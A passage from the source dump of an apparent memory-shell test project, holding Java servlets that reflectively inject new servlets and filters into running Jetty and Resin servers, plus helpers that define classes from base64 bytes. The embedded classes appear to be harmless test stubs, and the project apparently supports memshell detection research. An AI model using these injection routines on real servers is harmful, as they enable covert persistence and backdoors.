76 | flag = true; 77 | break; 78 | } 79 | } 80 | 81 | if (!flag) { 82 | 83 | ClassLoader classLoader = handler.getClass().getClassLoader(); 84 | Class sourceClazz = null; 85 | Object holder = null; 86 | try { 87 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); 88 | field = sourceClazz.getDeclaredField("JAVAX_API"); 89 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 90 | Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); 91 | holder = method.invoke(handler, field.get(null)); 92 | } catch (ClassNotFoundException e) { 93 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); 94 | Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); 95 | holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); 96 | } 97 | 98 | holder.getClass().getMethod("setName", String.class).invoke(holder, filterName); 99 | Filter filter = (Filter) DynamicUtils.getClass(FILTER_CLASS_STRING).newInstance(); 100 | holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter); 101 | handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder); 102 | 103 | Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping"); 104 | Object filterMapping = clazz.newInstance(); 105 | Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass()); 106 | method.setAccessible(true); 107 | method.invoke(filterMapping, holder); 108 | filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}}); 109 | filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST)); 110 | 111 | // prependFilterMapping 会自动把 filter 加到最前面 112 | handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping); 113 | 114 | resp.getWriter().println("Jetty Filter added"); 115 | } 116 | } catch (Exception e) { 117 | //pass 118 | } 119 | } 120 | } catch (Exception e) { 121 | e.printStackTrace(); 122 | } 123 | } 124 | } 125 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-jetty/src/org/su18/memshell/test/jetty/AddJettyServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.jetty; 2 | 3 | import com.sun.jmx.mbeanserver.JmxMBeanServer; 4 | import com.sun.jmx.mbeanserver.NamedObject; 5 | import com.sun.jmx.mbeanserver.Repository; 6 | 7 | import javax.management.ObjectName; 8 | import javax.servlet.Servlet; 9 | import javax.servlet.ServletException; 10 | import javax.servlet.http.HttpServlet; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | import java.io.IOException; 14 | import java.lang.management.ManagementFactory; 15 | import java.lang.reflect.Field; 16 | import java.lang.reflect.Method; 17 | import java.lang.reflect.Modifier; 18 | import java.util.Set; 19 | 20 | import static org.su18.memshell.test.jetty.DynamicUtils.SERVLET_CLASS_STRING; 21 | 22 | /** 23 | * 来自项目 https://github.com/feihong-cs/memShell 24 | * 亲测有效 25 | * 测试版本 Jetty 9.4.22 26 | * 27 | * @author su18 28 | */ 29 | public class AddJettyServlet extends HttpServlet { 30 | 31 | @Override 32 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 33 | 34 | try { 35 | String servletName = "su18JettyServlet"; 36 | String urlPattern = "/su18"; 37 | 38 | JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); 39 | 40 | Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); 41 | field.setAccessible(true); 42 | Object obj = field.get(mBeanServer); 43 | 44 | field = obj.getClass().getDeclaredField("repository"); 45 | field.setAccessible(true); 46 | Field modifier = field.getClass().getDeclaredField("modifiers"); 47 | modifier.setAccessible(true); 48 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 49 | Repository repository = (Repository) field.get(obj); 50 | 51 | Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); 52 | for (NamedObject namedObject : namedObjectSet) { 53 | try { 54 | field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); 55 | field.setAccessible(true); 56 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 57 | Object webAppContext = field.get(namedObject.getObject()); 58 | 59 | field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); 60 | field.setAccessible(true); 61 | Object handler = field.get(webAppContext); 62 | 63 | field = handler.getClass().getDeclaredField("_servlets"); 64 | field.setAccessible(true); 65 | Object[] objects = (Object[]) field.get(handler); 66 | 67 | boolean flag = false; 68 | for (Object o : objects) { 69 | field = o.getClass().getSuperclass().getDeclaredField("_name"); 70 | field.setAccessible(true); 71 | String name = (String) field.get(o); 72 | if (name.equals(servletName)) { 73 | flag = true; 74 | break; 75 | } 76 | } 77 | 78 | if (!flag) { 79 | ClassLoader classLoader = handler.getClass().getClassLoader(); 80 | Class sourceClazz = null; 81 | Object holder = null; 82 | try { 83 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); 84 | field = sourceClazz.getDeclaredField("JAVAX_API"); 85 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 86 | Method method = handler.getClass().getMethod("newServletHolder", sourceClazz); 87 | holder = method.invoke(handler, field.get(null)); 88 | } catch (ClassNotFoundException e) { 89 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); 90 | Method method = handler.getClass().getMethod("newServletHolder", sourceClazz); 91 | holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); 92 | } 93 | 94 | holder.getClass().getMethod("setName", String.class).invoke(holder, servletName); 95 | Class clazz = DynamicUtils.getClass(SERVLET_CLASS_STRING); 96 | holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, clazz.newInstance()); 97 | handler.getClass().getMethod("addServlet", holder.getClass()).invoke(handler, holder); 98 | 99 | clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping"); 100 | Object servletMapping = null; 101 | try { 102 | servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null)); 103 | } catch (NoSuchMethodException e) { 104 | servletMapping = clazz.newInstance(); 105 | } 106 | 107 | servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName); 108 | servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}}); 109 | handler.getClass().getMethod("addServletMapping", clazz).invoke(handler, servletMapping); 110 | 111 | resp.getWriter().println("Jetty Servlet Added"); 112 | } 113 | } catch (Exception e) { 114 | //pass 115 | } 116 | } 117 | } catch (Exception e) { 118 | e.printStackTrace(); 119 | } 120 | } 121 | } -------------------------------------------------------------------------------- /memshell-test/memshell-test-jetty/src/org/su18/memshell/test/jetty/DynamicUtils.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.jetty; 2 | 3 | import sun.misc.BASE64Decoder; 4 | 5 | import java.io.IOException; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class DynamicUtils { 13 | 14 | public static String SERVLET_CLASS_STRING = "yv66vgAAADQANAoABgAjCwAkACUIACYKACcAKAcAKQcAKgcAKwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQArTG9yZy9zdTE4L21lbXNoZWxsL3Rlc3QvdG9tY2F0L1Rlc3RTZXJ2bGV0OwEABGluaXQBACAoTGphdmF4L3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEADXNlcnZsZXRDb25maWcBAB1MamF2YXgvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEACkV4Y2VwdGlvbnMHACwBABBnZXRTZXJ2bGV0Q29uZmlnAQAfKClMamF2YXgvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7BwAtAQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAQVGVzdFNlcnZsZXQuamF2YQwACAAJBwAuDAAvADABAARzdTE4BwAxDAAyADMBAClvcmcvc3UxOC9tZW1zaGVsbC90ZXN0L3RvbWNhdC9UZXN0U2VydmxldAEAEGphdmEvbGFuZy9PYmplY3QBABVqYXZheC9zZXJ2bGV0L1NlcnZsZXQBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAEABwAAAAYAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAEADwAQAAIACgAAADUAAAACAAAAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAWAAIAAAABAA0ADgAAAAAAAQARABIAAQATAAAABAABABQAAQAVABYAAQAKAAAALAABAAEAAAACAbAAAAACAAsAAAAGAAEAAAASAAwAAAAMAAEAAAACAA0ADgAAAAEAFwAYAAIACgAAAE4AAgADAAAADCy5AAIBABIDtgAEsQAAAAIACwAAAAoAAgAAABcACwAYAAwAAAAgAAMAAAAMAA0ADgAAAAAADAAZABoAAQAAAAwAGwAcAAIAEwAAAAYAAgAUAB0AAQAeAB8AAQAKAAAALAABAAEAAAACAbAAAAACAAsAAAAGAAEAAAAcAAwAAAAMAAEAAAACAA0ADgAAAAEAIAAJAAEACgAAACsAAAABAAAAAbEAAAACAAsAAAAGAAEAAAAiAAwAAAAMAAEAAAABAA0ADgAAAAEAIQAAAAIAIg=="; 15 | 16 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh"; 17 | 18 | 19 | public static Class getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { 20 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 21 | BASE64Decoder base64Decoder = new BASE64Decoder(); 22 | byte[] bytes = base64Decoder.decodeBuffer(classCode); 23 | 24 | Method method = null; 25 | Class clz = loader.getClass(); 26 | while (method == null && clz != Object.class) { 27 | try { 28 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 29 | } catch (NoSuchMethodException ex) { 30 | clz = clz.getSuperclass(); 31 | } 32 | } 33 | 34 | if (method != null) { 35 | method.setAccessible(true); 36 | return (Class) method.invoke(loader, bytes, 0, bytes.length); 37 | } 38 | 39 | return null; 40 | 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-jetty/src/org/su18/memshell/test/jetty/IndexServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.jetty; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.http.HttpServlet; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class IndexServlet extends HttpServlet { 13 | 14 | @Override 15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 16 | String message = "jetty index servlet test"; 17 | String id = req.getParameter("id"); 18 | 19 | StringBuilder sb = new StringBuilder(); 20 | sb.append(message); 21 | if (id != null && !id.isEmpty()) { 22 | sb.append("\nid: ").append(id); 23 | } 24 | 25 | resp.getWriter().println(sb); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-jetty/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | IndexServlet 9 | org.su18.memshell.test.jetty.IndexServlet 10 | 11 | 12 | AddJettyServlet 13 | org.su18.memshell.test.jetty.AddJettyServlet 14 | 15 | 16 | AddJettyFilter 17 | org.su18.memshell.test.jetty.AddJettyFilter 18 | 19 | 20 | 21 | IndexServlet 22 | /index 23 | 24 | 25 | 26 | AddJettyServlet 27 | /addJettyServlet 28 | 29 | 30 | 31 | AddJettyFilter 32 | /addJettyFilter 33 | 34 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-resin/src/org/su18/memshell/test/resin/AddResinFilter.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.resin; 2 | 3 | import com.caucho.server.dispatch.FilterConfigImpl; 4 | import com.caucho.server.dispatch.FilterMapper; 5 | import com.caucho.server.dispatch.FilterMapping; 6 | import com.caucho.server.webapp.WebApp; 7 | 8 | import javax.servlet.Filter; 9 | import javax.servlet.ServletException; 10 | import javax.servlet.http.HttpServlet; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | import java.io.IOException; 14 | import java.lang.reflect.Field; 15 | import java.util.ArrayList; 16 | 17 | import static org.su18.memshell.test.resin.DynamicUtils.FILTER_CLASS_STRING; 18 | 19 | /** 20 | * 来自文章 https://www.anquanke.com/post/id/239866 21 | * 亲测有效 22 | * 测试版本 Resin 4.0.65 23 | * 24 | * @author su18 25 | */ 26 | public class AddResinFilter extends HttpServlet { 27 | 28 | @Override 29 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 30 | try { 31 | 32 | 33 | ClassLoader classloader = Thread.currentThread().getContextClassLoader(); 34 | 35 | Class servletInvocationcls = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation"); 36 | Class filterConfigimplcls = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl"); 37 | Class filterMappingcls = classloader.loadClass("com.caucho.server.dispatch.FilterMapping"); 38 | Class filterMappercls = classloader.loadClass("com.caucho.server.dispatch.FilterMapper"); 39 | 40 | Object contextRequest = servletInvocationcls.getMethod("getContextRequest").invoke(null); 41 | WebApp webapp = (WebApp) contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest); 42 | 43 | String filterName = "newfilter"; 44 | String urlPattern = "/*"; 45 | Filter newFilter = (Filter) DynamicUtils.getClass(FILTER_CLASS_STRING).newInstance(); 46 | Class newFiltercls = newFilter.getClass(); 47 | 48 | FilterConfigImpl filterConfigimpl = (FilterConfigImpl) filterConfigimplcls.newInstance(); 49 | filterConfigimpl.setFilterName(filterName); 50 | filterConfigimpl.setFilter(newFilter); 51 | filterConfigimpl.setFilterClass(newFiltercls); 52 | 53 | webapp.addFilter(filterConfigimpl); 54 | 55 | FilterMapping filterMapping = (FilterMapping) filterMappingcls.newInstance(); 56 | FilterMapping.URLPattern filterMappingUrlpattern = filterMapping.createUrlPattern(); 57 | filterMappingUrlpattern.addText(urlPattern); 58 | filterMappingUrlpattern.init(); 59 | filterMapping.setFilterName(filterName); 60 | filterMapping.setServletContext(webapp); 61 | 62 | 63 | //set filterMapper 64 | Field fieldWebappFilterMapper = null; 65 | try { 66 | fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper"); 67 | } catch (NoSuchFieldException Exception) { 68 | fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper"); 69 | } 70 | 71 | fieldWebappFilterMapper.setAccessible(true); 72 | FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp); 73 | 74 | Field fieldFilterMapperFilterMap = filterMappercls.getDeclaredField("_filterMap"); 75 | fieldFilterMapperFilterMap.setAccessible(true); 76 | 77 | ArrayList orginalfilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper); 78 | ArrayList newFilterMappings = new ArrayList(orginalfilterMappings.size() + 1); 79 | newFilterMappings.add(filterMapping); 80 | 81 | int count = 0; 82 | while (count < orginalfilterMappings.size()) { 83 | newFilterMappings.add(orginalfilterMappings.get(count)); 84 | ++count; 85 | } 86 | 87 | fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings); 88 | fieldWebappFilterMapper.set(webapp, filtermapper); 89 | 90 | //set loginFilterMapper 91 | Field fieldWebappLoginFilterMapper = null; 92 | try { 93 | fieldWebappLoginFilterMapper = webapp.getClass().getDeclaredField("_loginFilterMapper"); 94 | } catch (NoSuchFieldException Exception) { 95 | fieldWebappLoginFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_loginFilterMaper"); 96 | } 97 | 98 | fieldWebappLoginFilterMapper.setAccessible(true); 99 | FilterMapper loginFilterMapper = (FilterMapper) fieldWebappLoginFilterMapper.get(webapp); 100 | 101 | ArrayList orginLoginFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(loginFilterMapper); 102 | ArrayList newLoginFilterMappings = new ArrayList(orginLoginFilterMappings.size() + 1); 103 | newLoginFilterMappings.add(filterMapping); 104 | 105 | count = 0; 106 | while (count < orginLoginFilterMappings.size()) { 107 | newLoginFilterMappings.add(orginLoginFilterMappings.get(count)); 108 | ++count; 109 | } 110 | 111 | fieldFilterMapperFilterMap.set(loginFilterMapper, newLoginFilterMappings); 112 | fieldWebappLoginFilterMapper.set(webapp, loginFilterMapper); 113 | 114 | resp.getWriter().println("Resin Filter added"); 115 | 116 | webapp.getClass().getMethod("clearCache").invoke(webapp); 117 | 118 | } catch (Exception e) { 119 | e.printStackTrace(); 120 | } 121 | 122 | } 123 | } 124 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-resin/src/org/su18/memshell/test/resin/AddResinServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.resin; 2 | 3 | import com.caucho.server.dispatch.ServletMapper; 4 | import com.caucho.server.dispatch.ServletMapping; 5 | import com.caucho.server.webapp.WebApp; 6 | 7 | import javax.servlet.Servlet; 8 | import javax.servlet.ServletException; 9 | import javax.servlet.http.HttpServlet; 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.io.IOException; 13 | import java.lang.reflect.Field; 14 | import java.util.HashSet; 15 | import java.util.Map; 16 | import java.util.Set; 17 | 18 | import static org.su18.memshell.test.resin.DynamicUtils.SERVLET_CLASS_STRING; 19 | 20 | /** 21 | * 来自文章 https://xz.aliyun.com/t/9639 22 | * 亲测有效 23 | * 测试版本 Resin 4.0.65 24 | * 25 | * @author su18 26 | */ 27 | public class AddResinServlet extends HttpServlet { 28 | 29 | @Override 30 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 31 | 32 | try { 33 | 34 | String servletName = "su18ResinServlet"; 35 | String servletUrl = "/su18"; 36 | com.caucho.server.webapp.WebApp web = (com.caucho.server.webapp.WebApp) req.getServletContext(); 37 | 38 | Servlet servlet = (Servlet) DynamicUtils.getClass(SERVLET_CLASS_STRING).newInstance(); 39 | 40 | com.caucho.server.dispatch.ServletMapping mapping = new com.caucho.server.dispatch.ServletMapping(); 41 | mapping.setServletClass(servlet.getClass().getName()); 42 | mapping.setServletName(servletName); 43 | mapping.addURLPattern(servletUrl); 44 | web.addServletMapping(mapping); 45 | 46 | Field f = WebApp.class.getDeclaredField("_servletMapper"); 47 | f.setAccessible(true); 48 | ServletMapper servletMapper = (ServletMapper) f.get(web); 49 | 50 | Field f2 = ServletMapper.class.getDeclaredField("_urlPatterns"); 51 | f2.setAccessible(true); 52 | Map> map = (Map>) f2.get(servletMapper); 53 | HashSet set = new HashSet<>(); 54 | set.add(servletUrl); 55 | 56 | map.put(servletName, set); 57 | 58 | Field f3 = ServletMapper.class.getDeclaredField("_servletNamesMap"); 59 | f3.setAccessible(true); 60 | Map maps = (Map) f3.get(servletMapper); 61 | maps.put(servletUrl, mapping); 62 | 63 | resp.getWriter().println("Resin Servlet added"); 64 | 65 | } catch (Exception e) { 66 | e.printStackTrace(); 67 | } 68 | 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-resin/src/org/su18/memshell/test/resin/DynamicUtils.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.resin; 2 | 3 | import sun.misc.BASE64Decoder; 4 | 5 | import java.io.IOException; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class DynamicUtils { 13 | 14 | public static String SERVLET_CLASS_STRING = "yv66vgAAADQANAoABgAjCwAkACUIACYKACcAKAcAKQcAKgcAKwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQArTG9yZy9zdTE4L21lbXNoZWxsL3Rlc3QvdG9tY2F0L1Rlc3RTZXJ2bGV0OwEABGluaXQBACAoTGphdmF4L3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEADXNlcnZsZXRDb25maWcBAB1MamF2YXgvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEACkV4Y2VwdGlvbnMHACwBABBnZXRTZXJ2bGV0Q29uZmlnAQAfKClMamF2YXgvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7BwAtAQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAQVGVzdFNlcnZsZXQuamF2YQwACAAJBwAuDAAvADABAARzdTE4BwAxDAAyADMBAClvcmcvc3UxOC9tZW1zaGVsbC90ZXN0L3RvbWNhdC9UZXN0U2VydmxldAEAEGphdmEvbGFuZy9PYmplY3QBABVqYXZheC9zZXJ2bGV0L1NlcnZsZXQBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAEABwAAAAYAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAEADwAQAAIACgAAADUAAAACAAAAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAWAAIAAAABAA0ADgAAAAAAAQARABIAAQATAAAABAABABQAAQAVABYAAQAKAAAALAABAAEAAAACAbAAAAACAAsAAAAGAAEAAAASAAwAAAAMAAEAAAACAA0ADgAAAAEAFwAYAAIACgAAAE4AAgADAAAADCy5AAIBABIDtgAEsQAAAAIACwAAAAoAAgAAABcACwAYAAwAAAAgAAMAAAAMAA0ADgAAAAAADAAZABoAAQAAAAwAGwAcAAIAEwAAAAYAAgAUAB0AAQAeAB8AAQAKAAAALAABAAEAAAACAbAAAAACAAsAAAAGAAEAAAAcAAwAAAAMAAEAAAACAA0ADgAAAAEAIAAJAAEACgAAACsAAAABAAAAAbEAAAACAAsAAAAGAAEAAAAiAAwAAAAMAAEAAAABAA0ADgAAAAEAIQAAAAIAIg=="; 15 | 16 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb2